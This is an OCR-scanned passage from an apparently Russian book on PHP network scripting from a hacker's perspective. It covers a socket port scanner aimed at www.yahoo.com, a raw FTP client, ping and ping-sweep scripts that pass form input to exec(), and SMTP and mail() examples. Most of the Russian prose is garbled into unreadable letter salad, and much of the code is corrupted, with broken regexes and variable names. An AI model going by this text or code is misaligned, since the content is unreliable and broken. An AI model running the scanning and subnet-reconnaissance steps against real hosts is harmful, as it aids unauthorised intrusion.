$host_ip = gethostbyname ("www.yahoo. com") ;
¢s=socket_ cmaemr_m sdcxm 0);
for ($i=1; $i<=100; $i++) ,
{
$res=@socket_connect ($s, $host_ip, $i);
if ($res) '
(
$portname=getservbyport(§i, "tcp");
print ("<P> Hopr orxpur $i ($portname)”);
$s=socket_create(AF INET, SOCK_STREAM, 0);
A .

2>
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Teneps cosnanHue coxera OGyIeT NPOMCXOANTH POBHO CTONBKO Pas, CKONBKO OT-
KPBITO NMOPTOB, rmoc 1.

5.7. FTP=KNueHT HASKOro ypoBHS

Tenepb paccMOTPUM NpHMep MpHeMa nepenayu JaHHblX mo ceru. Jna wmwmoct-
pauuK nepenaqu xanHeX Hanuwem FTP-xnuenr. [a, vy PHP yxe ecrs rorossie
yHKUMK JUIS YNIPOLEHUs NMPOTPAMMUPOBAHUSA, HO MBI He OyAeM MMM MO/b30-
BATHCS, @ MOAKIIOYAMCH K CepBepy HanpsiMyio u GyleM BBINIOJNHSITH HernocpeacT-
pennHo FTP-xkomaunsl. PaGoraTh HanpsiMyio KOMAHIAMM He TAK YK M CIOXHO, H,
3Hasi KOMAHIIBL, BBl CMOXETe PEATH30BaTh oGOl MPOTOKO.

He Gyzem oTBieKaTsCsi M Cpasy mepeiiieM K PaccMOTPEHMIO NpuMepa (1uc-
THHT 5.6).

<?php

// Veianusaims

$host._ip=gethostbyname (*localhost") ;
$s=socket_create (AF_INET, SOCK smm ., 0);

// Coepmmugemcs ¢ cepsBepoM

if (!(Sres=@socket_connect($s, $host_ip, 21)))
die("Can' connect to local host") ;

print ("<Ps>Connected") ; :

// Ywraem CTPOKY TNPUBETCTBMA
printf("<P><¥s"', socket_read($s, 1000, PHP_NORMAL_READ));
socket_read(S$s, 1000, PHP_NORMAL_ READ) ;

// OrnpaBnseM KOMBHAY ¥ WMTaeM pesyibTaT aBTOPMSAlMM MMEHH HONLIOBaTels
$str="USER £lenov\n";

socket_write($s, $str, strlen($stxr));

print ("<p> > $str");

printf("<P><%s", socket_read($s, 1000, mmmm
socket_read($s, 1000, PHP_NORMAL_READ) ;

// OTnpaBnsemM KOMAHIY ¥ YMTASM pesynbraT ABTOPUSALMM RaponesM
$str="PASS password\n";
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socket_write(Ss, $str, strlen($str));

print('<P> > Sstr");

printf("<P>< %s", socket_read($s, 1000, PHP_NORMAL_READ) ) ;
socket_read($s, 1000, PHP. NORMAL_READ);. { THO

// Ormpasnsen xoMaHmy SYST (onpememiTe cUCTEMYy) W EWTaEM pesynsTaT
§str="8YST\n"; '

socket_write($s, Sstr, strlen($str));

print("<p> > Sstr");

printf("<p>< %s, socket_read($s, 1000, PHP_NORMAL_READ));
socket_read($s, 1000, PHP_NORMAL_READ) ;

>

Hauano jucTuHTa BaM JOJDKHO 6BITh MOHATHO Ge3 I0MOMHUTENIBHBIX KOMMEHTapI-
eB. Onpenensiem IP-anpec ykazannoro FTP-cepeepa. Sl tectupyio cueHapuu Ha
NIOKAJIbHOM cepBepe, Mo3ToMy B KauecTse agpeca ykasano localhost. Tocre artoro
cosnaeM coxet wis paborei ¢ TCP-npoTokonom 1 nioaxmoyaemes K nopry 21.

Cpasy nocne monkioyeHuss FTP-cepBep AolkeH BepHYTh HaM CTPOKY NPMBETCT-
BHSI, H UMEHHO €e Mbl duTaeM. OBpariTe BHUMaHWe, YTO YHTAIOTCS ABE CTPOKM,
XOTSi Ha 3KpAH BBIBOJMTCS TONbKO mepsasi. [Mouemy umenno Tak? [eno B Tom,
yro FTP-cepsep OTTIpaBsieT KIMEHTY CTPOKY, KOTOpas 3aKaHYMBASTCs CHMBOMIA-
MH KOHIA cTpoKH (\n) U nepeposa Kapetku (\r), Hanpumep:

220 flenovm FTP servey Wersicm wu-2.6.2-5) ready Ao\

i
Dyukuus socket._::eadu c uapaumpom PHE_NORMAL_READ qUTaeT nal-mue, no-
Ka He BCTPeTHT JIOGOH W3 CHMBONIOB \n WM \x, 4 3HAYMT, PA30OLET ITOT PE3yIh-
Tar Ha JIBe CTPOKM:

220 flenovm FTP serm (Version, wu-2. 6 .2-5) ready.\n

H

\r

NmverHo nosTomy ulg ‘yuTaeM pesynbm ABaxsl. BTopylo cTpoKy MBI IPOCTO
YUTAEM, HO HE BBIBOIAHM Ha c’rpauuuy, noromy 4to oxa mycras. I[Tpu BeiBOlNE
CTPOK, MOJYYEHHBIX OT cepBepa, B HAYane CTpPoKn orobpaxaem CMMBON <, YKashl-
BAIOIIKI, YTO AAHHBIE MONYYEHbI OT YIANIEHHOTO KOMIbIOTEPA.

Teneps nmocMOTPUM, Kak mepemapatk cepsepy FTP-komaHasl Ha TNpHMepe oT-
MpaBKu cepBepy UMEHH I10/1-30BATeNA JUIS ABTOPHUIALINU:

$str="USER flenov\n";

socket_write($s, $str, strlen($str));

print ("<pP> > $str");
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printf("<P><%s", socket_read($s, 1000, PHP_NORMAL_READ));
socket_read($s, 1000, PHP_NORMAL READ):

Chavana ¢dopmupyeM B nepeMeHHON $str CTPoOKy, Kortopasi Gyner ornpasieHa
ceppepy. [isi cepeepa FTP-komanna aomkHa 3aKaHuMBaThCs CHMBOJIOM KOHUA
ctpoku (\n). Bo Bropoil cTpouke Koia OTTPaBIseEM CTPOKY ¢ NOMOWIBIO (HDYHKUMA
socket_write(). [anee, urobsl npumep 6bur Gosee WHOOPMATUBHBLIM, BhiBe-
neM Ha Web-ctpanuily KkomaHay, Koropast Gbuia HanpasieHa cepBepy, a nepen
KOMaHolf MOCTABHM CHMBOJ >, YKa3bIBAIOUIHIA, YTO CTPOKA HAnpapieHa cepsepy.

Teneps untaeM orser cepsepa. M cHOBA JUIA 3TOr0 MCMOML3YIOTCS ABE CTPOKH.
Bropasa Gyzer nycToi, MO3ITOMY cleHapuil ee HA IKpaH HE BbIBOMUT.

3anycraTe cueHapnii, U Bbl JIOJOKHBI YBHIETh HA 9KpaHe NPUMEPHO CACAYIOLIMIA
pesynbTar:

Connected

<220 flenovm FTP server (Version wu-2.,6.2-5) ready.

> USER flenov

<331 Password required for flenov.

> PASS vampir

< 230 User flenov logged in.

> SYST

< 215 UNIX Type: L8

Ecnin BBl XOTHTE peanu3oBars Ha cBoeM caiite poaMmoxHoctn FTP-gauenra, 1o st
He PeKOMEHIYIO Jenarh 3Ty Ciyx6y mocTynHoil Boem: momib3osarensiM. Ckauatsh
daiinet ¢ caiita mons3oBareny MoryT M ¢ nomowsio HTTP-nporokona, a wis 3a-
Tpy3Ku Ha cepBep MOXHO MCMONb30BaTh METO/bI, ONNUCaHHEe B paidese 5.1. FTP-
KOMAH/IbI TIO3BOJISIOT YCTAHABJIMBATL COCIHHEHMS MEXIY KOMIbioTepaMu u 06-
MeHMBaThCs (aiinamu, a 3To ganeko He GesonacHo.

U Bee ke, FTP-KIHEHT MOXET 0Ka3aThesl YIOOHLIM B CLEHAPHAX ALMUHUCTPHPO-
BaHMWs W GesonacHsIM, €ciii AOCTYNEH TOJIBKO aaMuHHeTpatopy. Ilpu paspaborke
FTP-knueHTa yauthisaiite cieayioltue coobpaxeHus no 6¢3o0nacHOCTH:

0O aviwHMA pa3 NOBTOPIOCh, YTO HYXHO MMpOBEpsATH KaXIblit napamerp. Xors
FTP-kiueHT HaxoauTcs HA BalleM caiiTe B LEHTpe aIMUHHCTPUPOBAHUS H,
no uaee, NOMXeH OblTh AOCTYNEH TONBKO AAMHHHCTPATOpPaM, HeobXomMMbl
BCe MpoBepKH Beex napamerpoB. Eciu xakep cMoxer oboiftu cucremy ayreH-
THhuKaunu, nopHoueHHsli FTP-kanenT cpenaer myuummﬂmxa Gorom
B Ballleit cucreme;

0} KenaTensHO OrpaHM4MTH AOCTYN K cepsepy no FTP-nporokoiy Tonbko onpe-
JENeHHBIMU KaTtanoramu. [Uist 3Toro HeobXOoAUMO NMPOBEPATH NapaMerpsl, yka-
3bIBAIONIME HA KaTaior, ¢ KOTOphIM paforaer nonb3osare/lb, W €cliW Kartanor
3anpeileH, To MpepsBaTh AOCTYM;
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O nocrapaiitech OrpaHNUYHTL KOJXHYecTBO TUMOB (haiiyioB, NOCTYMHBIX IS 3a-
Ipy3Ki Ha cepBep, TOABKO Heobxomumbivi. Ecau Ha cepsepe [OJDKHBI Xpa~
Hutbes Tombko HTML-Gaiinst, 10 BOOTHE JOMHYHO NPOBEPATH, YTOGL! 3arpy-
Xanuch TOIBKO Takue haitnbi;

O peanusyiiTe TONLKO T€ BO3MOXHOCTH, KOTOpPBIE ACHCTBUTENBHO HEOOXOMMMBEI,
Bo BpemA co3maHus CHEHAPUA HE NO/KHO ObiTh coobpaxenuit Tna "asock
npuromutes”, INpotokon FTP cnniukom onaced wist cepeepa, 4100l TaK pac-
CYXZaTh, TIOITOMY 3amnpeliaeM BCe, YTO SIBHO He paspeiieHo.

5.8. Yrunura ping

Yrunuta ping cosfasajiack s Toro, YToOs AAMHHHCTPATOPBI MOIIH IIPOBEPATH
JIOCTYITHOCTh KOMIIBIOTEPOB MO CETH. DTO [ACHCTBHTENHHO OTAMYHOE CPElCTBO
nposefeHns auarHocTHk. Korma s euie He saHumancs GE30MACHOCTBIO W B3O~
MOM, TO CYMTAN, YTO APYroro MpeaHasHaYeHUs Y YTHIMTSI npocTo Her. S cuasHO
3a6nyxpancs, nMoToMy 4TO B pykax xakepa OGONBUIMHCTBO CETEBLIX YTWINT TIpe-
BPALLAETCS B MHCTPYMEHT B3/IOMa WM XOTS OBl yIIpOLIAET B3IOM.

Yro MOXeT naTh Xakepy nposepka cBi3u ¢ Komnbiotepom? Korna sanommmk xo-
JYeT NMPOHUKHYTE HA CepBep Kakoi-imbo cerd, OH MOXET 3TO AeAarh He Hanps-
MyI0, a uepe3 Kakoii-Hubyas HoBepeHHBIH KomnbioTep. YToOBI BESICHHTD, Kakue
KOMITBIOTEPHI JOCTYITHEI B 3TOi CETH, 3ANYCKAeTCs CKaAHMPOBAHME YTHIWTON ping
onpeaeneHHoro amanasona 1P-ampecos. Biaro, yro Bce ceTH nmoayvalT anpeca
HEeNBIMA TAATIA30HAMM, M eciii Y cepsepa anpec 110.12.87.21, To BrionHe JIOTHY-
HO Gymer mnpocKawuposare Bee ampeca B auanasone or 110.12.87.1 1o
110.12.87.254 u nonpoGosats B3NOMATH HalineHHbIE KOMMBIOTEPHL. Bo3MOXHO,
YTO CPEINM HUX OKAKETes MeHee 3alllMIEeHHBI cepBep, comepXamuil Takue xe
y4eTHbIE 3aMMCH, YTO W AN saUlMieHHOro cepsepa. Takoe BeTpewaercd AocTa-
TOYHO 4acTo B GONBIINX CeTsX, KOTAA ANMHUHHCTPATOPS! YAENAIOT ocoboe BHIUMA-
HWE TOJIBKO OJHOMY=JIBYM CepBepaM, & OCTANbHLIE OCTAIOTCS He 3aLHILEHHBIMH,

BHIMOMHATE CKAHHPOBAHHE CO CBOETO KOMITBIOTEPA OMACHO, NOTOMY YTO AAMHHMN-
CTPATOpP CETH MOXeT 3aMeTHTh MOMBITKY Y3HAThL CTPYKTYPY Ce€TH 4depes daitnni
XKypHanos u 3anect IP-anpec BaoMimKa B YepHsiit criMcok. B caywae nponoin-
JKEHUA MONBITOK BAJIOMA C 3TOrO ANPEca AIMHHUCTPATOP MOXET CBA3ATHCS C Npa-
BOOXPAHHUTENBHEIMUM OpraHaMi, DT0 HeNPOCTHTEMRHO JUIA OMBITHOrO XaKepa, rmo-
ITOMY [UISl CKAHUPOBaHMs CTAPAIOTCA WCMobiosaTh cepsepa B MHrepHere, uepes
KoTopbie MoXHO Oymer obecneunts cebe GesonmacHoers. Ho Hamuume cepsepa e
rapaHTUpyeT AHOHMMHOCTh, HYXHO MPHHATE AONOAHUTENLHEIE MEpEl, paccMoT-
PEHHE KOTOPHIX BhIXOIMT 38 PAMKH AAHHONH KHUTH.

Y PHP Her momiHoro cpencrsa sl CO3NAHUA YTINTHL Ping, HO MBI MOXEM Bbi-
3BaTh CHCTEMHYIO YTHAMTY epe3 (PyHKUMIO exec(), system() ¥ ap. B amcrun-
re 5.7 nokasaH MpHMep CUeHApHs, B KOTOPOM peanu3oBaHa HeoOxonumasl YTHIHTA,



<form action="ping.php" method="get">
<B>BeemTe WMA wm IP-anpec cepeepa</B>
<BR>Anpec cepBepa: <input name="sexrver"'>
<BR><input type="submit" wvalue="Ping">
</ form>

<?php ‘
if (!isset(Sserver))
- exit;

$server=preg_replace("/[%a-z0-9-_\.]/1i", "%; _$servur) t

print ("<HR>Ping server $sexrver");
exec("ping -c 1 $server > ping.txt", $list);

print ("<PRE>"); . .- - O
readfile("ping.txt"); ' : ¢
print("</PRE>") ;

™

B atom cuenapun yepes dopmy 3agaercss uMs win [P-agpec HCKOMOrO KOMITBIO-
Tepa. Tak KaK napamerp ¢ aapecom GyieT nepenaBarhest (yHKIMH exec (), Heob-
XONMMO noaymarb O Ge30MacHOCTH W BLINOJIHUTL TIPOBEPKY HA HEHOMYyCTHMbIE
CHMBONLL f B JaHHOM TIpUMEpE BCe HENONMYCTHMOE MPOCTO 3AMEHSIO TYCTBIM
CHMBOJIOM.

Jlanee BBHIMONIHAETCH YTHIMTA ping, KOTOPOii B KaYecTBe MapaMeTpa mepenaeTcs
~-c M KOJIMYECTBO MMONBITOK COSIMHEHUS C CEPBEPOM, @ Pe3ybTar COXpaHsieTes Ha
ceppepe B (aiine ping.ixt. Temeps HOCTATOMHO TONBKO 3ArPY3HTH COAEPXKHMOE
(aiina, ¥ Bce roroso.

TMpumep pesyiTata paGoTh CUEHAPHs NOKA3aH Ha puc. 5.4,

B imeTiHre 5.8 MOXHO YBUIETH NPUMEP CUEHAPUS, KOTOPEI! CKaHUpYeT auana-
30H sHaveHwit. B yucruHre yruamToM ping ckaHmpyorcs nepssie 10 ampecos
ykasanHoro [P-aapeca.
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Type server name or IP address
Server: I |

Ping server 192 168.77.1

PING 182.168.77.1 (252.168.77.1) from 192.168.77.1 : 56(84)} bytes of daca.
£4 byses from 152,.368.77.1: leomp seg=l Ttl=64 time=0.126 ms

~--= 182.165.77.1 ping scaristics ---
1 packets cransmitted, 1 received, 0% losa, Time Oms
rtc min/avg/max/mdevy = 0,126/0.126/0.226/0,000 ma

<form action="ping. pbp" meth@"got"

<B>Type server name or IP addrassﬂl§>
<BR>Server: <input name='server®s
<BR><input type="submit" value="Ping">
</ form> ’

<?php
if (lisset(S$sexver))
exit;

$server=preg replace("/[*a-20-9-_\,1/i*, "*, $sexver);

gi=1;
ereg(" ([0-9] (1,31)\. ([0-9] (1, 3})\. ([0-9]{1,3)\.([0-9](1,3})",
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S$server, Sregs);:

while ($i<10)

{
print("<HR>Ping server $regs(l].S$regs{2].Sregs([3].$i");
exec("ping -c 1 Sregs(1].Sregs(2].Sregs(3].5i > ping.txt", $list);

print ("<PRE>") ;
readfile("ping.txt");
print ("</FRE>");

$i++;
}
>

Jns Toro yroOBl MOXKHO ObLIO M3MEHATH ajpec, OH pasbuBaercs Ha 4acTH ¢ Io-
MOIUBIO PEryIspHOro BelpaxeHust U (yHKunU ereg(). OcranbHoe — nefno Tex-
HHKH.

IMepen 3anyckoM cUCHapUA Ha GoNbIOM KOnUYeCTse ajipecos ybeauTecs, YTo Bhl
npasMabHO ykassisaete [P-ampec, mHaye BbIMOJHEHWE KOMaHILI MOXeT 3arTs-
HyTbesl. YTunura ping 6yaeT cauiikoM J0To KIATh OTBETA OT HEXOCTYIHBIX MK
HecyluecTByIommxX agpecos. Yrobsl 3T0r0 HE MPOMIOILIO, MOXHO € NOMOLILBIO
napamMeTpa yMeHsIIMTh BpeMst oxuaarms. Tak kak Mbl obpaiiaemcs K CHCTEMHOI
YTWINTE, W 6¢ NapamMerpsl (HA3BAHUE W METOJ MCIONL30BAHNS) MOTYT OTHYATHCS
B pasusix OC, To Ml He GyneM pacemarpupars sror npuMep. O6parurecs K daii-
2y moMotuM 1o yrunute ping s sameii OC.

5.9. Pa6ora ¢ aneKTpoHHON NoYTomn

DnekTpoHHas noyra noasinack B MHTepHere neppoit U 3a0/1ro A0 NOABIEHHS
npuBbMHBIX HaM Web-crpanuil. 3a BpeMsi CBOEIO CYLECTBOBAHMS [TOYTA JOCTA-
TOMHO CHJILHO M3MEHWJIACh, HO MpPH ITOM HE MNOTepssid CBOEH AKTyalbHOCTH W
ucnonbayeres go cux nop. Hanpumep, mns Mexst nouta SIBASIETCHA OCHOBHOM
cnyx6oii. A Tak Kak ata cayx6a ces3aHa ¢ CeTeBbIM COEAMHEHHEM MEXIY cepBe-
pamu (Web-cepsepom 1 MouTOBLIM CepBepoM), TO Mbl 0DA3AHbI ee PACCMOTPETD.

IMpu paGore ¢ 3nexkTpoHHON moOuTON €cTh ONpeNeNeHHbIE CIOKHOCTH, @ MMEH-
HO — JUISl OTTIPABKH COOOIUEHMS W €ro npueMa HCNONb3YIOTCs PasHbe MPOTOKO-
nbt, [ OTHpaBKM Bbl JO/DKHBI WCMOAb3oBaTh mpotokon SMTP (Simple Mail
Transfer Protocol, nmpocroit npoTokon nepenayn coobuieHuit), a mist YTeHHa Hau-
Gosee nonynsSpHLIM HA HaHHLIH MomeHT sBasercs nporokon POP3 (Post Office
Protocol, obucHbii NoOUTOBLIH NPOTOKON).

10 3ax. 1315



266 : lnasa 5

BesonacHocTh MOMTOBBIX cAyX6 — 3T0 Booble oTAeNbHAS TEMa, U OHA BLIXOIWT
33 paMKM JaHHON KHHrM, HO BBl JO/UKHBI YYMTBIBATH, YTO cama cayxba moxer
6biTh noasepxkeHa arakam xakepos. Hanpuwmep, B Hanbonee nonynspHoil nouro-
o cayx6e mna Unix-cuerem, sendmail, 3a BCIO HCTOPHIO €€ CYLIECTBOBAHMS
6BUI0 HAMACHO CTONBKO yaA3BAMOCTEN, uTo XBaTuT HA 10 CepBepHBIX NMPOrpaMm.
3ayem HyxHa noura Ha Web-caifre? Kak munumym, oHa TpebyeTcst aas pac-
CBUIKHM HOBoOcTei, 0e3 KOoTopsIX YXe TpyAHO npelcraBuTh cebe Kakol-mubo
caift. Heobxonumo coobwarh noab3oBaTeNsM 0 COBBITHSIX, KOTOpLIE MPOHCXO-
HAT Ha cepsepe,

5.9.1. Nporokon SMTP

Haunem paboTy ¢ MOMTON C PacCMOTPEHMs NMPOTOKONA OTNPaBKU cooblueHuit
SMTP. B peansHo# KH3HM BaM, CKOPEE BCEro, HE MPHASTCH MCMOAB3OBATH ITOT
MPOTOKOJI, HO JKeNareabHO NMOHMMATh ero. [laxe ecau B A3bIKe MpOrpaMMHpOBa-
HHS eCTh BBICOKOYpOBHEBbIe (PYHKUMU, KOTOpPHIE MpAYYT BCIO CAOXHOCTH NMPOTO-
KOJIA, 3HAHWE KOMaH/[ HU3KOTO YPOBHSI HMKOT/IA He TMOMEeIIaer.

Hrak, nporokon SMTP ucrionbayer npocteie TeKCTOBbiE KoMaHasl, Kak 1 FTP.
JoctaTouHo TOABKO NMOAKIIONHTHCH K HYXHomy nopry (mo ymonuanunio SMTP-
cnyx6a pabGoraer Ha nmopty 25) M OTHPABIATH cepBepy HEOBXOAMMBIE KOMAHILI.
Her, Bce ToOHKOCTH M KoMaHIbl Mbl 0bcyxnare He Gyaem, HO npocTeliuuit mua-
JIOr MEXAY KIMEHTOM M CepBEpOM YBUIMM:

220 smtp.aaanet.ru ESMTP Exim 4,30 Wed, 14 Jul 2004 15:20:17 +0400
HELO notebook

250 smtp.aaanet.ru Hello notebook [80,80.99,95]

MATIL FROM:<vasya@pupkin.ru>

250 OK

RCPT TO:<horrific@vr-online.ru>

250 Accepted

DATA \

354 Enter message, ending with "." on a line by itself

Frem: <vasya@pupkin.ru>

To: <horrific@vr-online.ru>

Subject: Tema coobileHuA

Mime~Version: 1.0

Content-Type: text/plain; charset="us-ascii

ITo TecToBOE cooblenne

V ¥ W VY VY A Y ANV ANV ANV A

250 OK id=1BkhoA-000EkB-08
QUIT
221 smtp.aaanet.ru closing connection

AV AV
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B naHHoM npumepe CTPOKH, HAYMHAIOWMECS ¢ CHMBONA >, oTobpaxaior uHdop-
MaLHIO, KOTOPYIO Mbl OTNPABIAeM CEpBEPY, A CTPOKH, HAYMHAIOULMECSH C CHM-
Bonia <, orobpaxalor HHGOPMALKMIO, KOTOPYIO Mbi nonyyaem. Ha kaxiyio KkomaH-
Iy cepsep OTBEYaeT HaMm COOOILEHMEM, KOTOPOE HAYMHAETCH C YHCIOBOTO KOMIa,
orobpaxalollero craryc sbinosHeHus. [Tocae 3T0ro MAET TEKCTOBOE OMUCAHUE
pesynsTara. Hanpuwmep, mocne COGIIMHEHWs ¢ CepBepoM MBI roJyyaem or SMTP-
cepBepa CTPOKY:

220 MujopmMaima © cepeBepe

Coobmenus ¢ kopom 220 spnsiioress WHopMauMoHHbIMK. B 1anHoM ciyyae co-
obleHe NPHXONUT B OTBET HA MOAKIIOYEHUE W, Yallle Beero, rocjie Koaa couep-
XHUT HHDOPMAUMIO O CepBepe, HaNpUMep:

220 your_mail server.com ESMTP Sendmail 8.9

B namHoMm ciyyae HaMm cooGuiaercst, uyto cayxba paGoraer nom ' ynpasieHHeM
nporpammbl sendmail Bepcun 8.9. B Hacrosiiee Bpems yxe majio KTo coobiiaer
CBOE UMS M BEPCHIO, JIa MOMAb3BI B 3TOH WHGOOPMAUKM HET HUKAKOM.

Teneps HeoGXOAMMO NMO3TOPOBATECA C CEPBEPOM 1 COOBLIMT eMy CBOE MMs. DTO
JenaeTcsi ¢ MOMOUIBI0 KOMAH/Ibi HELO notebook, B ganHoM ciyuae notebook —
UMSA MOEro mmmepa Ha 310 cepsep orseuaer cooblueHUeM ¢ KomoM 250 u
CBOMM A[PECOM.

Janee nocsuraeM ampec OTIpaBUTeNs (MAIL FROM: mayuepupkin.m>J M ampec
nony4artensi (RCPT TO:<horrific@vr-online. ru>) - obe xomanasl cepsep
JIOJDKEH OTBETHTH coobimeHussMH ¢ konom 250.

Tenepp MOXHO COOOINTE CEPBEPY, YTO NATbLUE cnenyer tesio muesma. st atoro
nocbuiaeM Komanay DATA. [locne 3TOoro HayMHaercst TeNO MUCbMa, B KOTOPOM
criepsa MAET 3arofIOBOK, a MOTOM yXe Texcr coobuweHus. Ha sce ornpasnsiemsre
Tenepb JaHHbIe cepsep He GymeT OTBEYATH, MO3TOMY MOXHO He NOXHAATECS OTBe-
ta. Teno nmucbMa 3aBepuraeTcsi KOMAaHION <CR><LF>.<CR><LF> (KOHEU CTPOKH,
nepeBoA KapeTKu, TOYKa, KOHEL CTPOKH, mepesol kaperku). Cepsep A0/MXeH HaM
oTBETHTh coobutenneM ¢ komom 250. Ho mbl noka He 6GyneM HWuEro 3aBepuiaTh,
a NoCMOTPHM, 4YTO HAXOIUTCA B Teje.

B 3aronoBke Mbl CHOBA YKa3blBaeM ajpecara i roayqarens:

From:<vasya@pupkin.ru>

To:<horrific@vr-online.ru>

Ecm mHCHbMO JOKHO MMETh TeMy, TO 3[ech HYXKHO mnepecaarh CASAYIOULHH
TEKCT:

Subject: Tema nucoma

Jlanee HyXHO yKasath KOAHPOBKY /Ul Tekcra coobmenus. B nanHoM ciyyae Mbl
970 AeNaeM TaK: -

>Mime-Version: 1.0

>Content-Type: text/plain; chm:set='us-ascii
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Teneps MOXHO MOCTPOYHO NEPENABATL TEKCT COODLIEHM.
IMocne aasepureHAs Nepetadn MOXHO BEIXOIHTL U3 CHCTEMBl KOMAHION QUIT.

B tabn. 5.1 nepeuncnens! ocHoBHble Komamasi SMTP-cepsepa, npuMeHsieMbIX
UIst OTTIPABKH MPOCTOro coobiieHMs .

Tabnuya 5.1. Komarasl SMTP-npotokona

Komanpa  Onucauwe

HELO Hnemudmuapya'r noneaoeatena Ha SMTP-cepaepe. MNocne komaHakl
HELO yKa3blBaeTca UMA NOKaNLHOro koMneioTepa

MATL Hayano nepepauu cooblueHuA. Yallle Bcero sTa KOMaHaa BeIMMAANT Kak
MAIL FROM <e@mail.ru>7?, rge eémail.ru— 370 agpec oTnpasuTens

RCPT VinexTuchuumpyet nonyyarens coobiieHua

DATA Hauano rena coobuenun. Mepepaya paHHbIX 3asepLuaeTca nocnhenosa-
TENBHOCTLIO CUMBONOB <CR><LF> . <CR><LF>

RSET OrtmeHa BBINOAHEHWUA TEKYLUEN onepatum

NOOP Ha sToT aanpoc cepBep NpocTo oTBeTUT coobuieHuem OK, 31o Heobxoam-

MO ANSl NPOBEPKU CBASU UNU ANA NPOANEHUs XU3HU ceanca. Ecnu B Teve-
HUe onpefaeneHHOro BpeMeHI He NPou3soAuTL obmeH coobLLgHUAMM C
CepBepoM, TO CepBep MOXET pa3opBaTh coeguHeHue, a sTa KoMaHga no-
3BONAET NPOAEMOHCTPUPOBATL AKTUBHOCTL. Torga cepeep cbpocut cyer-
yuK timeout, W BpeMA NPOCTOR HAYHET OTCUUTBLIBATLCA C Hayana

QuUIT Brixop
HELP MNoaponseT Nony4YuTs CRpaBKy O AOCTYNHLIX KOMaHgax

[Monryio uHEdOpMALMID IO HCNONBIOBAHMIO MPOTOKOAA MOXHO TIPOYHTATH
B RFC-821, a Ham ZOCTATOYHO W 3TOrO.

lMpocro pamu TpeHHpPOBKM nomnpobyiTe Co3AaTh peaTU3aliio OTNPABKH MOYTHl
HampAMYIO Yepe3 MOAKIOYeHHe HA NOPT 25 ¥ OTNPaBKy HEOOXOAMMBIX KOMAFHL.
YGenurecs, YTo 310 HE CloXHee, YeM cosnanue FTP-gmtenTa.

5.9.2. ®yukuyma mail

JnA oTnpaBKH MEKTPOHHOM MOYTE Mcnonb3yercss (PYHKUMA mail(), KoTopas
HMEET CNEeAyIoUInid BHIL

boolean mail (to, subject, body [extral)

Y dbyHKUMH YeThIPe napaMeTpa, TPH U3 KOTOPLIX ABAAIOTCA 00s3aTeNbHBIMM:

0 ampec snexTpoHHOU novTel momyuarens coobmennsa. Ecnn neobxoaumo Ha-
[IPABHTHL MUCEMO HECKONBKHM MOJMyYaTeNsM, TO WX anpeca JoNKHBI OGblTh me-
peuncieHsl B CTPOKE Hepes 3ansaTyio;
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O Tema nucbMa;

O Texer coobuieHns;

) JONOAHATENBHBIE 3ATONOBKH COOBIIEHHMS!. Hpezunymue napamMerpsl 1o3sons-
10T 33/1aTh TOJILKO OCHOBHBIE cBOJiCTBA MicbMa, HO MX Belb HAMHOro Gonbiie.
JlononHutenbHeie CROWCTBA YKAILBAIOTCA B MOCAEAHEM Napamerpe M pasie-
JSTIIOTCS. CHMBOIAMM KOHLA cTpoky M nmepesofa Kapetku (CR n LF).

B smeruare 5.9 nokasaH npumep m-ﬂpanm COOBIIEHUA C NMOMOIIBIO (QYHKUMH
mail (). Ly

.1‘ pEsM|

<?php

// TIONPOTOBKE NEePEMEHHLX
$MailTo = "recipient@mail
SMailSubj = "3ro mema cootueHna"i

$MailFrom = 'your;nﬁme@yourﬁﬁerVar com”; .
SMailcC = namalﬂ@mail_servar com, namezﬂﬂmail_gervar com” ;
$Extra = "From: $MailFrom\r\nCc: $Mailcc";

// OrnpaBka HNOYTHE

if (mail($MailTo, $Mailsubj, “"Teno cooSmenusn", SExtra))
print ('CooBuenre ana $MailTo ynauno ornpasneHo’);
else

print('Oumbxa’') 7

>

Bce rennanbHoe NpocTo, M B OTHpaske cooblieHuit abcoMioTHO HHUYEro CIoXK-
HOTO Her.

Ecnu Bbl co3zfgaere cHCTeMy PacchUIKM HOBOCTEH, TO TMepen BaMKM MOXET BO3HHK-
HYTh OJIHA cepbesnasi npobiema: eciu criHcok Gofblioil, TO pacchilka MOXeT
3aHATH CAWIIKOM MHOro Bpemenu. Ecini BRINONHEHHE CLIEHADHH HE YIOXKHTCS
B 30 cexyHn (9T0 3HAYeHME YCTAHOBJIEHO B KayecTBE MAKCHMyMa MO yMomya-
HUI0), TO ero pabora Syner npeppana. Ha npakTike okassiBaeTcs, YTo NpH CAu-
cke pacceutki B 1000 sanmceit 30 cekyHn He xparaer, 1o3ToMy HeoOXOOMMO yBe-
JIMYUTH BPEMS BLITIONHEHHS CLeHapus,

MamenATs KoHGUrypaumio uHTeprperaropa B AaHHOM ciyuae Oyaer He O4eHb
Xopowum pewterneM. Ecian taitM-ayT cruurkoM GONLWON, TO B CHCTEME MOXeT
OKa3aTbesl MHOPO 3ALUMKIMBIINUXCS CLIEHAPHEB, xmpm‘ﬁymrr pacxonopath npo-
HeccopHoe Bpems. JlywmuMm BapuaHTOM GyIeT YBEXMYNTH TaiiM-ayT At onpene-
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neHHoro oueHapus. Jlis  9TOoro  MOXHO  BOCnoNb3osarhesi - yHKUMEH
set_time_out (), KOTOPOil nepesaeTcsi HOBOE 3HAYEHHME TalM-ayTa B CEKyHaax
st Tekyuiero cuerapus. Creayiouuii pumep ycraHasmusaer TaiiM-ayr B 10 MuHyT:
set_time_out (600)

Ho cnvurkoM Gonbluoit CHHCOK pacchUIKH MPUBOAMT M K ellle onHoli npobneme:
pAacchUIKA HOBOCTEN -~ 3aHATHE HEe U3 JIETKMX, MOTOMY YTO MOMMMO mpoueccop-
HBIX pecypcoB TpebyioTest i ceresble. B pesynbrare npoH3BOAMTENbHOCTD CEpBEPa
MOXET cepbe3Ho ynactb. Bee pecypebl Bpsll /i BAM YHACTCS M3PAcXo0BaTh, Be/b
OC Unix 1 Windows sBIsioTCs MHOr03aJaqyHbIMH, TO €CTh MOIYT BBINIOJNHATS
HECKOJILKO 3a1a4 ONHOBPEMEHHO, HO MPOU3BONMTENBHOCTE o6paborkn Web-
3aMpocoB MOXET YNacTh.

Ecnu Bawr cueHapuit JODKeH peryJisipHO pacchiiaTh AJIeKTPOHHLIE MOYTOBbLIE ¢O-
obieHust no GONBLUIOMY CNHCKY, TO MOXHO BHIHECTH PACCHUIKY HA OTAENLHbIH
cepsep. B onmpeneneHHbilt MOMEHT BpeMEHM CleLMATBHO NpelHA3HAYeHHbIH cep-
